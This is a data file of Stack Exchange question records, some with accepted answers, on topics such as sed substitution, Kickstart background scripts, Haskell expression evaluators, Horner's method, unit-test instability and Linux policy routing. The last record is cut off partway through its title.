{  "id": "_webmaster.79231"  , "question": "Currently when we search site:domain.com on google we get a return of 3.6 million pages indexed, About 3,650,000 results (0.31 seconds). When we search site:domain.com/childdirectory we get 3.8 million pages indexed, About 3,770,000 results (0.60 seconds). How is it possible that the child directory has more pages indexed than the parent? Is each directory's index counted separately?"  , "title": "Google Site: listing Parent Domain directory Index"  , "tags": "google search;indexing;pagerank;subdirectory"  , "accepted_answer": "Using site: is highly unreliable for counting indexed pages. It is often out of date, incorrect and actual serps is limited to sample data only.  You should opt to use Google Webmaster Tools for a more accurate index count."  } 
{  "id": "_webapps.14235"  , "question": "I just starting using rescuetime to try to keep track of my productivity, but I've run into a bit of a snag.Generally, I keep track of my unproductive time by being in incognito mode in Google Chrome. However, rescuetime doesn't distinguish between incognito mode and just browsing normally.Is there a way to get rescuetime to treat incognito mode specially, without using rescuetime's whitelist?Thanks! I would gladly provide any additional details, and apologies for being so terse."  , "title": "How to hide data from rescuetime while in incognito"  , "tags": "google chrome;web history"  } 
{  "id": "_unix.336831"  , "question": "I have a Netgear NAS (ReadyNAS Duo v2) running a custom variant of  Debian 6.0.3 squeeze, named RAIDiator-arm 5.3.12 and there are no further upgrades as the device is no longer supported. I would like to install ffmpeg on this system but there are some conflicting packages. Here is the output of aptitude install ffmpeg:The following packages have unmet dependencies:  libavfilter0: Depends: libavcodec52 (< 4:0.5.10-99)                          but 4:0.6.6-.netgear2 is installed. or                          libavcodec-extra-52 (< 4:0.5.10-99) which is a virtual package.  libavdevice52: Depends: libavcodec52 (< 4:0.5.10-99)                           but 4:0.6.6-1.netgear2 is installed. or                          libavcodec-extra-52 (< 4:0.5.10-99) which is a virtual package.                 Depends: libavformat52 (< 4:0.5.10-99)                           but 4:0.6.6-1.netgear2 is installed. or                          libavformat-extra-52 (< 4:0.5.10-99) which is a virtual package.It appears some netgear-specific version of the libavcodec52 package is hindering the installation. What can I do?I had the idea of cross-compiling a static build of ffmpeg on my computer but run into other problems. "  , "title": "Install ffmpeg on Netgear NAS running custom Debian Squeeze"  , "tags": "debian;apt;ffmpeg;aptitude"  } 
{  "id": "_unix.254402"  , "question": "Using BSD sed;How can I perform the following substitution?:  Before:hello hello hellohello hello helloAfter:hello world hellohello hello helloIn other words; how can I replace only the Nth occurence of a pattern?(Or in this case; the 2nd occurrence of a pattern?)"  , "title": "BSD sed: Replace only the Nth occurrence of a pattern"  , "tags": "text processing;sed;regular expression;freebsd;bsd"  } 
{  "id": "_unix.220042"  , "question": "#!/bin/sh# This script is for checking the status of SSHD2 Number of  connectionsCHKOUT=Please also Check the Number of ORPHAN / DEFUNCT Process on `hostname` :DFOUT=`/usr/bin/ps -eaf | grep defucnt`SHCOUNT=`/usr/bin/pgrep sshd2|wc -l`if [ $SHCOUNT -gt 150 ]then    mailx -s Warning! : `hostname` has more than $SHCOUNT  SSHD2 Connections running Please Check! karn.kumar@abc.com  << EOF`echo  $CHKOUT``echo ==========================================================``echo  $DFOUT`EOFfi======================================Hello Experts.. I am unable to get the output of DFOUT Variable, Can you guys suggest the correct way of doing this?===================Edited code that is working nice..#!/bin/sh# This script is for checking the status of SSHD2 Number of  connectionsCHKOUT=Please also Check the Number of ORPHAN / DEFUNCT Process on `hostname` :PS=`/usr/bin/ps -eaf | grep -v grep| grep defunct`SHNT=`/usr/bin/pgrep ssh|wc -l`if [ $SHNT -gt 15 ]then        mailx -s Warning!  `hostname` has more than $SHNT SSHD2 Connections running Please Check!  kk@abc.com   << EOF        Hi Team,        $CHKOUT        ===========================================================        $PSEOFfi"  , "title": "How to call variable in KSH shell script"  , "tags": "shell script"  } 
{  "id": "_codereview.41795"  , "question": "In my first iterative algorithm, I do thisfor (auto &widget : controls.getWidgets()){    if (!widget->visible) continue;    widget->draw();    for (auto &widget_component : widget->components)    {        if (!widget_component->visible) continue;        widget_component->draw();        for (auto &ww : widget_component->components)        {            if (!ww->visible) continue;            ww->draw();        }    }}Now, I see the flaw in this algorithm because of the repetition of code.I try to write a recursive function call to handle this thing.void swcApplication::recursiveDisplay(swcWidget *next){    if (next == nullptr) return;    if ((next->parent != nullptr) &&        !next->parent->visible) return;    if (next->visible)        next->draw();    for (auto &i : next->components)    {        recursiveDisplay(i);    }}void display(){    for (auto &widget : controls.getWidgets())    {        recursiveDisplay(widget);    }}Display first the parent before all other children, if parent is not visible, then don't draw its childrenIs the above phrase satisfy by this algorithm (As far as I can see, it is)? Is this optimal? I don't know what drawbacks might occur here because I just write in a few seconds.If you didn't find anything wrong here, now, how can I put it back in iterative way? I know iteration is better.UpdateI didn't use any z attribute here and instead I go for painter's algorithm.The flaw I am referring in my iteration version is that, it is limited to draw widgets depends on how deep I will code for iteration."  , "title": "Iteration to recursive function"  , "tags": "c++;optimization;c++11;recursion;iteration"  } 
{  "id": "_codereview.166966"  , "question": "I started learning Python just yesterday, and so I am aware of my lack of knowledge regarding the language. Below is a program I wrote to simulate a guessing game. I ended up creating a lot of ad hoc patches for some possible errors, and suspect that there are more elegant ways to write the program. I'd like pointers/assistance/an example of a best practices version of the program I write below:import random, syssys.setrecursionlimit(10000)    #I expect any troll who's trying to fuck with the program to give up before they reach 10,000.control = True    #global variable to control the behaviour of the 'guessNumber()' function.errors = 0    #To store the number of errors a user triggers.def guessNumber(maxx):    global errors    global control    try:        maxx = float(maxx)    #Incase a cheeky user decided to submit floating point numbers.        if int(maxx) != maxx:     #If they submitted a floating point number instead of an integer.            print(Input whole numbers only.)            errors += 1            guessNumber(input('Input the Maximum number: \\t'))  #Call a new instance of 'guessNumber()'        else:   #If they indeed submitted a whole number.            maxx = int(maxx)    except ValueError:  #They didn't submit a whole number.        print(Input whole numbers only.)        errors += 1        guessNumber(input('Input the Maximum number: \\t'))  #Call a new instance of 'guessNumber()'    if not control:    #control variable. If the program has already properly evaluated, it should terminate.        return None    print('I am thinking of a whole number between 1 and ' + str(maxx) + ' (both inclusive).')            num = random.randint(1, maxx)    count = 0    check = True    var = None    while check:        print(Guess the number.)        try:            var = float(input())    #Incase a cheeky user decided to submit floating point numbers.            if int(var) != var:     #If they submitted a floating point number instead of an integer.                print(Input whole numbers only.)                errors += 1                continue            else:   #If they indeed submitted a whole number.                var = int(var)        except ValueError:  #They didn't submit a whole number.            print(Input whole numbers only.)            errors += 1            continue        count +=  1        if var == num:  #If they guess the number right.            check = False        elif var > num:            print('Too high! \\nTry a little lower.')        elif var < num:            print('Too low! \\nTry a little higher.')    print('Congratulations!!!\\nYou guessed the number after ' + str(count) +  tries and triggering  + str(errors) +  errors.)    control = False     #After every completed execution, we set control to false so that if the function was called from another instance of itself it terminates and doesn't cause errors.    return NoneguessNumber(input('Input the Maximum number (integers only): \\t'))I am particularly worried about the memory cost, due to using recursion to deal with errors."  , "title": "Number guess game program in python 3"  , "tags": "python;beginner;python 3.x;number guessing game;memory optimization"  } 
{  "id": "_codereview.124390"  , "question": "I've made a data structure for mathematical expressions. I want to parse mathematical expressions like:\\$x = 3\\$\\$y = 4\\$\\$z = x + y :\\$into an evaluated document like:\\$x = 3\\$\\$y = 4\\$\\$z = x + y : 7\\$where \\$=\\$ is assignment and \\$:\\$ is evaluation.The data structure must handle errors:Invalid input like multiple equals signsInvalid expressions like referencing an undefined variableSmells and commentsHaskell is fantastic for this, but I'm still struggling with algebraic data structures; I'm used to object-oriented design. Because of this, I'd like some feedback!Smells:Structure for output document relates arbitrarily on structure for input documentsPicking type vs data seems randomShould I be using records?I struggle with finding good namesevalExp contains much repetitionComments on my style in general?I suspect that I'm evaluating nested expressions multiple times. Thoughts on how to fix this?Data structureThe data structure itself is most important. I've included code for serialization and evaluation for reference. These are less important, but I'm thankful for comments on those as well!module Document whereimport Text.Printf(printf)import Data.List(intercalate)import qualified Data.Map.Strict as M-- Source datadata Exp = Num Double         | Add Exp Exp         | Sub Exp Exp         | Mult Exp Exp         | Div Exp Exp         | Neg Exp         | Ref Name         | Call Name [Exp]  deriving (Show)type Name = Stringtype Evaluation = Booldata Statement = Statement (Maybe Name) Exp Evaluation | Informative String  deriving (Show)data Document = Document [Statement]  deriving (Show)instance Monoid Document where  mempty = Document []  (Document a) `mappend` (Document b) = Document (a `mappend` b)-- Result datatype EvalError = Stringtype EvalRes = Either EvalError Doubledata StatementResult = StatementResult Statement EvalRes | JustInformative String  deriving (Show)type DocumentResult = [StatementResult]data EvalState = Success Double  -- Value found               | InProgress      -- For terminating cyclic dependencies               | Error EvalError -- Unable to evaluatetype NameExpressions = M.Map Name Exptype NameValues = M.Map Name EvalState-- Serializationclass Serialize a where  serialize :: a -> Stringinstance Serialize Exp where  serialize (Num d) = show d  serialize (Add x y) = printf (%s + %s) (serialize x) (serialize y)  serialize (Sub x y) = printf (%s - %s) (serialize x) (serialize y)  serialize (Neg x) = - ++ serialize x  serialize (Mult x y) = printf %s * %s (serialize x) (serialize y)  serialize (Div x y) = printf %s / %s (serialize x) (serialize y)  serialize (Ref name) = name  serialize (Call name exps) = printf %s(%s) name (intercalate ,  $ map serialize exps)instance Serialize Statement where  serialize (Statement mn exp eval) = prefix mn ++ serialize exp ++ postfix eval    where prefix (Just n) = n ++  =           prefix Nothing  =           postfix True  = :          postfix False =   serialize (Informative s) = sinstance Serialize Document where  serialize (Document ls) = unlines . map serialize $ lsinstance Serialize StatementResult where  serialize (StatementResult statement evalRes) = serialize statement ++  =  ++ serializedEval evalRes    where serializedEval (Left err) = err          serializedEval (Right d) = show d  serialize (JustInformative s) = sserializeResult :: DocumentResult -> StringserializeResult = unlines . map serializeEvaluationmodule Evaluator whereimport Documentimport qualified Data.Map.Strict as Mimport Control.Monad(liftM2, liftM)getNameExpressions :: Document -> NameExpressionsgetNameExpressions (Document statements) =  let toKVPair (Statement (Just n) exp _) = [(n, exp)]      toKVPair _                          = []  in M.fromList $ statements >>= toKVPairevalDocument :: Document -> DocumentResultevalDocument doc@(Document statements) = map (evalStatement nameMap) statements  where nameMap = getNameExpressions docevalStatement :: NameExpressions -> Statement -> StatementResultevalStatement nameMap s@(Statement _ exp _) = StatementResult s $ evalExp nameMap expevalStatement _         (Informative s)     = JustInformative s-- Expression interpretation without cachingevalExp :: NameExpressions -> Exp -> EvalResevalExp d (Num n) = Right nevalExp d (Add x y) = liftM2 (+) (evalExp d x) (evalExp d y)evalExp d (Sub x y) = liftM2 (-) (evalExp d x) (evalExp d y)evalExp d (Mult x y) = liftM2 (*) (evalExp d x) (evalExp d y)evalExp d (Div x y) = liftM2 (/) (evalExp d x) (evalExp d y)evalExp d (Call sin (arg1:_)) = liftM sin (evalExp d arg1)evalExp d (Call cos (arg1:_)) = liftM cos (evalExp d arg1)evalExp d (Call tan (arg1:_)) = liftM tan (evalExp d arg1)evalExp d (Call asin (arg1:_)) = liftM asin (evalExp d arg1)evalExp d (Call acos (arg1:_)) = liftM acos (evalExp d arg1)evalExp d (Call atan (arg1:_)) = liftM atan (evalExp d arg1)evalExp d (Call sinh (arg1:_)) = liftM sinh (evalExp d arg1)evalExp d (Call cosh (arg1:_)) = liftM cosh (evalExp d arg1)evalExp d (Call tanh (arg1:_)) = liftM tanh (evalExp d arg1)evalExp d (Call asinh (arg1:_)) = liftM asinh (evalExp d arg1)evalExp d (Call acosh (arg1:_)) = liftM acosh (evalExp d arg1)evalExp d (Call atanh (arg1:_)) = liftM atanh (evalExp d arg1)evalExp d (Call log (arg1:_)) = liftM log (evalExp d arg1)evalExp d (Call exp (arg1:_)) = liftM exp (evalExp d arg1)evalExp d (Call abs (arg1:_)) = liftM abs (evalExp d arg1)evalExp d (Call sqrt (arg1:_)) = liftM sqrt (evalExp d arg1)evalExp d (Call pow (arg1:arg2:_)) = liftM2 (**) (evalExp d arg1) (evalExp d arg2)evalExp d (Neg x) = liftM negate (evalExp d x)evalExp d (Ref name) = case M.lookup name d of  Just exp -> evalExp d exp  Nothing -> Left $ No match for name:  ++ nameevalExp _ _ = Left Not implemented"  , "title": "Data structure for expression evaluation in Haskell"  , "tags": "beginner;haskell;math expression eval"  , "accepted_answer": "Data.Functor.Foldable can take some boilerplate out of your code. Also I tried to make the recursion in evalExp's references as tight-looped as possible.import Data.Functor.Foldable-- Source datadata ExpF t  = Num Double  | Add t t  | Sub t t  | Mult t t  | Div t t  | Neg t  | Ref Name  | Call Name [t]  deriving (Show, Functor, Foldable, Traversable)type Exp = Fix ExpFinstance Serialize Exp where  serialize = cata $ \\case    Num d    -> show d    Add x y  -> printf (%s + %s) x y    Sub x y  -> printf (%s - %s) x y    Neg x    -> - ++ x    Mult x y -> printf %s * %s x y    Div x y  -> printf %s / %s x y    Ref name -> name    Call name exps -> printf %s(%s) name (intercalate ,  exps)evalExp :: NameExpressions -> Exp -> EvalResevalExp d = evalExp' d' where  d' = evalExp' d' <$> d  evalExp' d' = cata $ sequenceA >=> \\case    Ref name -> fromMaybe      (Left $ No match for name:  ++ name)      (M.lookup name d')    x -> first (const Not implemented) $ do Right $ case x of      Num n -> n      Add x y -> x + y      Sub x y -> x - y      Mult x y -> x * y      Div x y -> x / y      Call sin (arg1:_) -> sin arg1      Call cos (arg1:_) -> cos arg1      Call tan (arg1:_) -> tan arg1      Call asin (arg1:_) -> asin arg1      Call acos (arg1:_) -> acos arg1      Call atan (arg1:_) -> atan arg1      Call sinh (arg1:_) -> sinh arg1      Call cosh (arg1:_) -> cosh arg1      Call tanh (arg1:_) -> tanh arg1      Call asinh (arg1:_) -> asinh arg1      Call acosh (arg1:_) -> acosh arg1      Call atanh (arg1:_) -> atanh arg1      Call log (arg1:_) -> log arg1      Call exp (arg1:_) -> exp arg1      Call abs (arg1:_) -> abs arg1      Call sqrt (arg1:_) -> sqrt arg1      Call pow (arg1:arg2:_)) -> arg1 ** arg2      Neg x -> negate x"  } 
{  "id": "_unix.232444"  , "question": "I have Ubuntu 14.04 running on Oracle Virtual Box. Window Manager in Ubuntu is compiz. The issue I am facing is when I am playing a media file in VLC or any other media player the window is overlaying any other window (say terminal, firefox, etc.) and is not letting them come to the fore when I switch between windows. Even if I minimize the the VLC player it won't let other windows come to the fore.I know this was an issue in metacity but do not know the same issue exists in compiz as well. Is there any solution to this issue?  "  , "title": "VLC media player window is overlaying other windows in Ubuntu 14.04 - compiz Window manager"  , "tags": "ubuntu;compiz"  } 
{  "id": "_unix.78185"  , "question": "I have a Red Hat Kickstart process which reports its progress at key points via a POST request to a status server.This is fine during %pre and %post, but when the actual build is taking place between them, it's an informational black hole.I've written a simple shell snippet that reports on the number of packages installed to give a rough idea of progress.  I've placed the following in %pre:%pre## various other stuff here, all works fine ##cat > /tmp/rpm_watcher.sh << EOF_RPMPREV=-1while truedo    COUNT=\\$(rpm -qa | wc -l)    if [ \\${COUNT} -ne \\${PREV} ] ; then        /bin/wget --post-data  ${Hostname} : Package count \\${COUNT} ${builddest}/log        PREV=\\${COUNT}    fi    sleep 15doneEOF_RPM/bin/sh /tmp/rpm_watcher.sh &disown -a%endHowever, when I launch this as a background task from %pre as above, it hangs waiting for the script to end -- %pre never completes (if I kill the spawned script %pre completes and the build proper starts).I can't use nohup as it isn't available in the pre-installation environment, the same goes for using at now and screen.I've attempted to use disown -a, which is available; this seems to successfully disown the process (such that it's owned by PID 1) but still it hangs waiting for the script to finish.Can anyone offer me an alternative?"  , "title": "How can I background a shell script during a Kickstart?"  , "tags": "linux;bash;shell;kickstart"  } 
{  "id": "_unix.213601"  , "question": "I was executing the screen command with a split window in my CentOS server, then I lost connection to it. I reconnected to my server and I did screen -r to get my screen back but now I don't see them split, I only see the first screen and I have to switch to my other screen with the ctrl+a+space. How can I put them as they were before? Is there a way?"  , "title": "How to get back my split-screen after I lost connection with screen"  , "tags": "bash;gnu screen"  } 
{  "id": "_cs.55994"  , "question": "I have some digital logic circuits in Algebraic Normal Form, and am limited to using XOR and AND logic gates.For instance:$B_{out} = B_1 B_2 \\oplus B_1 B_3$I was wondering, are there any algorithms to simplify ANF to use a smaller number of gates?  I'm looking to minimize ANDs specifically.The above equation would ideally become this:$B_{out} = B_1 (B_2 \\oplus B_3)$Since AND and XOR act like multiplication and addition respectively, it also seems like the answer could be in algorithms which minimize operations in polynomials.  If that is the case, I'm specifically looking to minimize multiplications (which is the equivelant of ANDs in ANF).One person suggested i use a Karnaugh map, but am unsure how (or if it's possible) to use a Karnaugh map with XOR/AND instead of OR/AND.  I could convert OR/AND back and forth to XOR/AND terms as needed, but in that case I don't believe the result is garaunteed (or likely) to be minimal anymore.Are there algorithms for this? I feel like there has to be, but I haven't been able to find any."  , "title": "Algorithm for simplifying ANF or polynomials?"  , "tags": "boolean algebra;digital circuits"  , "accepted_answer": "The algebraic normal form (ANF) is unique.  You can't simplify the ANF; each formula has a single, unique ANF, and there's only one.  Once you've found it, that's it; there's no other, simpler ANF for the same formula.Perhaps what you want is, given a formula, find the smallest circuit that uses only XOR and AND logic gates.  In general, that circuit won't necessarily be in algebraic normal form.  (For instance, $B_1 (B_2 \\oplus B_3)$ is not in ANF; the ANF of that formula is $B_1 B_2 \\oplus B_1 B_3$.)  That's called logic minimization or logic synthesis or circuit minimization.  Most prior work has considered how to use a gate basis of NAND or {AND, OR, NOT}; you are looking for an algorithm that uses the basis {AND, XOR}.If you want to minimize the total number of gates, I'd suggest you do a literature search on the literature on logic minimization, looking for methods that work with an arbitrary basis, or that work with the basis {AND, XOR}.  (One possibly buzzword or phrase to search for is exclusive-or sum-of-products minimization; this covers the special case of circuits that have multi-input AND gates on the first level and a single multi-input XOR gate at the second level.)In general, essentially all of these circuit minimization problems are NP-hard, so you shouldn't expect any efficient algorithm that will always work.  Instead, people rely on heuristics that sometimes work or are sometimes efficient.You can find people who have studied a similar problem in the cryptography world, because Yao-style garbled circuits naturally support AND and XOR gates.  Cryptographers have studied how to implement various functions efficiently using only AND and XOR gates.  However, in that world, for various reasons we can make XOR gates effectively free, so they generally try to minimize the multiplicative complexity, i.e., the minimum number of AND gates needed in any circuit over the basis {AND,XOR}.  I couldn't tell whether that was what you wanted or not.  If it is, you might enjoy the following page, which lists circuits of minimal multiplicative complexity for a variety of functions of cryptographic interest:http://cs-www.cs.yale.edu/homes/peralta/CircuitStuff/CMT.htmlPerhaps this will help you articulate a more precisely defined question."  } 
{  "id": "_softwareengineering.303388"  , "question": "I'm programming a web app using Perl and Dancer. The logic is not trivial and I want to separate the web page logic (inside Dancer routes) from the business logic that reads and writes from the database. The business logic is going to be stored in several modules the read and write in the database using DBIx::Class.My question is: What is the best way to keep DB logic in the business Logic modules but still be able to send messages explaining the error to a Web Page and storing more details of the error in a log. I'd like a technique that works with nested functions.I've been thinking about this, but I haven't found a clear winner. Possible options might be:Catch all the exceptions inside the function and return array ref with the data. If an error happens, the result would be undef.Catch all the exceptions inside the function and return a hash ref. If there hasn't been an error the key ok would be equal to 1. A return data would be like this:return ({        ok => 1,        data => [                {                        name => 'Alfa',                        year => 2014,                },                {                        name => 'Beta',                        year => 2015,                },        ], });In an error case the return value might be something like this:return ({        ok => 0,        err => 'bussines.deliveries.estimated_date.no_access_dhl',        err_web => 'No access to DHL site',});Catch exceptions in the web code using Try::Tiny;Edit 1: Expanding my question as an answer to Umut Kahramankaptan:I'm only starting with exceptions. In the past days I've read several web pages about expections in perl and how to handle them. What should trigger an exception? Is an exception only caused by an error (not being able to open a file, a division by 0 or a database not responding) or should it be triggered by other cause that blocks the execution of a function?To explain the last question, I propose several cases:A function executes several read and write operations against a database. If one of them fails it should trigger an exception.Similarly to the previous one a function has to perform several read and write operations with a database. If it finds that it can't continue its sequence (due to some logic or value existing in the database), should in this case trigger the exception?A simpler example could be a login function. If the username and passwords are correct, it should return several user data. What should happen if it fails? return undef? or trigger an exception?"  , "title": "How can I handle errors in functions"  , "tags": "perl"  } 
{  "id": "_webapps.90911"  , "question": "Google Inbox is now generally available without any invites. However, the Chrome Inbox App is still alive and maintained (last version was February 9th).Does the Chrome extension provide any extra features that do not exist in the inbox web site?"  , "title": "Is there a difference between the gmail Inbox site and Chrome extension?"  , "tags": "inbox by gmail;google chrome extensions"  , "accepted_answer": "Short answerThere is no difference at all.ExplanationThe screenshot doesn't correspond to an extension. Please note that the right up corner only display the Visit website button but not the Add to Chrome button. The screenshot it's about the Inbox by Gmail directory/catalog entry about in the Chrome Web Store.At this time the Chrome Web Store include four categories apps, games, extensions and themes and two types Chrome apps and websites."  } 
{  "id": "_scicomp.5228"  , "question": "I need to solve the same sparse linear system (300x300 to 1000x1000) with many right hand sides (300 to 1000).In addition to this first problem, I would also like to solve different systems, but with the same non-zero elements (just different values), that is many sparse systems with constant sparsity pattern.My matrices are indefinite.Performance of the factorization and initialization is not important, but performance of the solve stage is.Currently I'm considering PaStiX or Umfpack, and I will probably play around with Petsc (which supports both solver)Are there libraries capable of taking advantage of my specific needs (vectorization, multi-threading) or should I rely on general solvers, and maybe modify them slightly for my needs ?What if the sparse matrix is larger, up to $10^6 \\times 10^6$ ?"  , "title": "Sparse linear solver for many right-hand sides"  , "tags": "linear algebra;petsc;linear solver;sparse"  } 
{  "id": "_softwareengineering.187536"  , "question": "I am studying about optimizing alogrithms.(Prof. Skiena's Algorithm Guide book)One of the exercises asks us to optimize an algorithm:Suppose the following algorithm is used to evaluate the polynomialp(x) = a^(xn) + a^n1(xn1) + . . . + a(x) + ap := a0;xpower := 1;for i := 1 to n doxpower := x  xpower;p := p + ai  xpowerend(Here xn, xn-1... are the names given to distinct constants.)After giving this some thought, the only way I found to possibly improve that algorithm is as followsp := a0;xpower := 1;for i := 1 to n do  xpower := x  xpower;     for j := 1 to ai         p := p + xpower     next jnext iendWith this solution I have converted the second multiplication to addition in a for loop.My questions:Do you find any other way to optimize this algorithm?Is the alternative I have suggested better than the original? (Edit: As suggested in the comments, this question though related to the problem deserves another question of its own. Please ignore.)"  , "title": "Addition vs multiplication on algorithm performance"  , "tags": "algorithms;language agnostic"  , "accepted_answer": "The standard solution is to notice that one has many multiplications with the same number x.So instead ofp(x) = a_n*x^n + a_n1*x^n1 + . . . + a_1*x + a_0one might writep(x) = (...((a_n*x) + a_n1)x + ... + a_1)*x + a_0Perhaps easier to read:p(x) := a_3*x^3 + a_2*x^2 + a_1*x + a_0q(x) := ((a_3*x + a_2)*x + a_1)*x + a_0p(x) == q(x)We call such evaluation Horner's method. It translates to approximately:p := a_n;for i is n-1 to 0   p := p*x + a_iHorner's method has n multiplications and n additions and is optimal."  } 
{  "id": "_softwareengineering.324046"  , "question": "I have a set of about 300 unit tests that have been through a difficult few months. The poor tests were subject to being upgraded from a V110 compiler (Visual Studio 2008) alongside Visual Studio 2012 to a V120 (Visual Studio 2013) compiler alongside an upgrade to Visual Studio 2015.These tests were passing in VS2012. They broke horribly after the compiler/IDE upgrade. Some things were very odd, I spent weeks trying to fix them, worked with several engineers, and found very little traction. Then a beam of hope came in the form of VS2015 Update 3. It fixed the tests. For about 2 days. Now I'm met with a dreaded, Failed to set up the execution context to run the test, for a test that was working last week. So, the tests have been a bit battered recently. These are critical tests that my team needs to be running (and that we can't put in the gated builds because of the failing tests). We have workarounds to run the tests piece-by-piece, in an older IDE, from the command line, or any other number of tricks and hacks...but we really can't have tricks and hacks for important unit tests. I'm not asking how to fix this specific set of tests, but moreover how should I as a software engineer start to regain stability with a set of unit tests that became unstable. As I'm writing this the answer seems obvious: Snap off the smallest subset of failing tests and analyze the failures/start the debugging process (which of course I'm doing), but things always have a rub. The upgrade happened, and there's no going back, so at the moment we're stuck with some (occasionally) unreliable tests.Because the tests can be (not easily and not always all of them) ran, fixing these tests doesn't ever seem to be a higher priority for my team than pushing out new features. I'm an SD1 and so I don't have a lot of sway to get the more senior members of the team to analyze these test failures and I feel like I'm spinning my wheels trying to fix tests while waiting for the next test/tool failure. What should I do?"  , "title": "Unit tests became unstable after upgrading compilers and IDEs"  , "tags": "unit testing"  , "accepted_answer": "The problem you describe is in no way restricted to unit tests, and when approaching this from a software engineering perspective, one might ask the more general question We picked a certain framework as a platform for our program system, but when upgrading to a newer version, we run into lots of unexpected compatibility problems, because the vendor did not make a good job in respect to downwards compatibility. What can we do?The possible answers to this question might not please you, but the measures are well known:make sure your software is not more tightly coupled to the framework than absolutely necessarymake sure whenever you install an upgrade of the framework, there is a way back to the former version when this causes too much problemsmake sure you know your framework well, and avoid to use the latest and greatest features immediately, better be a little bit conservative, rely on mature featureswhen the problems become intolerable, consider to change your platform. Try to pick a framework which has a reputation to be mature and stable, especially when it comes to backwards compatibility.In your case, for example, you used the unit testing framework of Visual Studio. Of course, frameworks often force you to couple your software to them tightly, but in this case, whenever you need to ugrade the IDE,  you also need to upgrade the unit testing environment. AFAIK you cannot upgrade those components individually. As you wrote, there is currently no easy way back for you to a former version of VS.So is there an alternative? Yes there is - pick a different unit testing framework which is not so tightly coupled to the IDE. Unit tests directly inside the IDE is a nice gimmick, but nothing you cannot live without. For example, we have a full unit testing suite for one of our products since more than ten years, developed with NUnit, and we never encountered any of the problems you mentioned when we upgraded from VS 2003 to 2015 with almost any intermediate VS version which was released by Microsoft. NUnit was available at a time where VS unit testing was not, and nowadays there are VS plugins to run NUnit tests directly from inside the IDE. Nevertheless, the latter is still dispensable, we can also run all tests outside VS, just by using the NUnit GUI.Of course, when we upgraded the NUnit version from time to time, we had to deal with some minor issues, but never anything which was as severe as you described it, not even close.There might be other Unit testing frameworks with similar properties and also not so entangled with the IDE; the correct choice needs surely an evaluation for your case. And when you pick such a framework, you have an additional third party vendor on whom you have to rely on, which can have a lot of new drawbacks and dependencies, too. Maybe our team was just lucky to pick the better framework several years ago. If one is not so lucky, and picks some framework which is abandoned after some months by the vendor - well, shit happens.But I think this is the best recommendation I can give you here. Maybe changing the framework is not an option for you now, may cause too much effort. Maybe after you analyse your code and think about it, the effort might not be so high as it seems at a first glance. Maybe you can isolate most of the problems you have now and get your problems under control by using what you have now. But do not expect the silver bullet - framework and library decisions always have a certain risk of showing up to be wrong in the future, you are not the first one who made that experience."  } 
{  "id": "_cogsci.1982"  , "question": "Is there a game theory analysis or other research or modeling describing the commonly perceived phenomenon whereby the amount by which people underpay a gratuity seems to be proportional to the number of people at the table?In other words is there term of art for this behavioral pattern just as we use the phrase Prisoner's Dilemma to describe the game theoretical mechanics of two parties who can collude (to their mutual benefit) with risk, or betray their colleague in an effort reduce or eliminate their own risk?(I would suggest that the mechanisms by which people exploit common resources and by which people fail to invest and maintain such resources (for example ecologically) are similar to this other group dynamic but I'm curious what research has been done on this)."  , "title": "Stiffing the tip as groups get larger ... like the prisoner's dilemma but ...?"  , "tags": "social psychology;economics;game theory"  } 
{  "id": "_softwareengineering.284060"  , "question": "I am writing code on top an established Enterprise application. I see that the application has 4 modules as shown below.-Srk-SrkEJB-SrkUtils-SrkWebI have gone through the code and I see that some modules are tiny for example: SrkEJB module has got just 2 EJBS. I don't see any reason to create a separate module for 2 Java classes.I have simplified the above approach and is shown below.Srk - com.srk.utils - com.srk.ejb - com.srk.webHow is the first module based architecture different from the second from an architectural stand point? Generally, which is the followed mostly, when creating an application from scratch? If not, What could be the trade-offs of each of the approaches? I believe this is a not specific to Java alone."  , "title": "Module based project vs Normal project"  , "tags": "design patterns;object oriented;language agnostic;java ee;architectural patterns"  } 
{  "id": "_unix.235066"  , "question": "I installed a Debian Jessie machine on a 1.4TB disk (technically a hardware RAID but this shouldn't matter). At installation, I created an unencrypted LVM with 3 volumes, including a 30 GB volume I installed the system on.I want to backup the system, so I picked Clonezilla to backup the 30 GB partition.Unfortunately, Clonezilla only offers me to clone /dev/sda, that is the whole 1.4 TB partition. As if it didn't recognize the LVM.Is there some specific procedure to follow?I don't see anything in the docs/FAQ so I assume it should be straightforward."  , "title": "Backup partition in LVM using Clonezilla"  , "tags": "lvm;clonezilla"  } 
{  "id": "_softwareengineering.102874"  , "question": "I had asked this question on Stackoverflow, and before it got booed off, I received the helpful suggestion from Pter Trk that this might be a better place to post it.I've been programming in Java for a few years. I've often discussed design decisions with colleagues on the basis of what constitutes 'good style'. Indeed, there are a number of StackOverflow questions/answers that discuss a design on the basis of whether something is 'good style'. But what makes 'good style'? Like many things, I know it when I see it... but I wanted to have better idea than just my conscience saying that this design doesn't feel right.What are the things you think about in order to produce good, well designed code?(I acknowledge that this is somewhat subjective, as what is 'good style' will depend on the task at hand). (Also, I should add that I'm not interested in team styles - e.g. we use indents of 2 spaces rather than 4..., and I'm not interested in the Java code conventions.)Edit: thanks for all the good answers/comments so far. I'm especially keen for answers that would help codify those things that make a programmer's conscience (and possibly stomach) wrench?"  , "title": "What makes for good style in Java?"  , "tags": "java;coding style"  } 
{  "id": "_unix.159072"  , "question": "According to the packet path diagram, and its description:Table 6-2. Source local host (our own machine)[...]Routing decision, since the previous mangle and nat changes may have changed how the packet should be routed.[...]there is a second route lookup after the OUTPUT chain, because NAT and other things might have changed the actual output interface. But in my tests I found that it is impossible to change the output interface once it's chosen.For example, you have an application that sends an UDP packet from an unbound socket to some destination: the main table is queried and a default source, interface and gateway is chosen. Then you set a fwmark on it, and use that in policy-based routing to try put the packet on another interface:[root@localhost ~]# ip rule add fwmark 1 lookup 1[root@localhost ~]# ip route add default dev lo table 1The packet will have these lookups#first lookup, assuming main NIC is in LAN with address 192.168.1.2/24, gateway 192.168.1.1[root@localhost ~]# ip route get 8.8.8.88.8.8.8 from 192.168.1.2 via 192.168.1.1 dev eth0     cache #second lookup, source address and oif chosen[root@localhost ~]# ip route get 8.8.8.8 oif eth0 from 192.168.1.2 mark 18.8.8.8 from 192.168.1.2 via 192.168.1.1 dev wlp3s0  mark 1    cache Your packet will still have the already chosen output interface. Note that if you don't set the oif parameter you get the right interface:[root@localhost ~]# ip route get 8.8.8.8 from 192.168.1.2 mark 18.8.8.8 from 192.168.1.2 dev lo  mark 1    cache So what's the point? It seems (and I have tested) that you can effectively only change the gateway, but you cannot even use blackhole or unreachable."  , "title": "What is the point of the 